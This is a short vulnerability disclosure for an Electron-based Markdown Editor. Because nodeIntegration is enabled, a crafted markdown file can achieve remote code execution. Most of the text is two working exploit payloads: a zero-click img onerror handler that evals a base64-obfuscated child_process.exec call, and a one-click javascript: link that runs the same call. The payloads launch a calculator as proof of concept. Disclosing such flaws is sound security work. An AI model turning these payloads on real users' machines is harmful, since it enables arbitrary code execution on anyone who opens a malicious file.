Incorrect electron configuration causes RCE

[liyansong2018]

nodeIntegration: true decide Node APIs are enabled in renderer. And Markdown Editor does not filter dangerous operations. When we use this software to open the unknown markdwon file, it may cause Remote code execution (RCE).

EXP

# 0 click
<img src=# onerror='eval(new Buffer(`amF2YXNjcmlwdDpyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY2FsYycsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57YWxlcnQoJ1lvdSB3ZXJlIGhhY2tlZC4nKX0p`, `base64`).toString())'>
# 1 click
<a href="javascript:require('child_process').exec('calc', (error, stdout, stderr)=>{alert('You were hacked.')})">CLICK</a>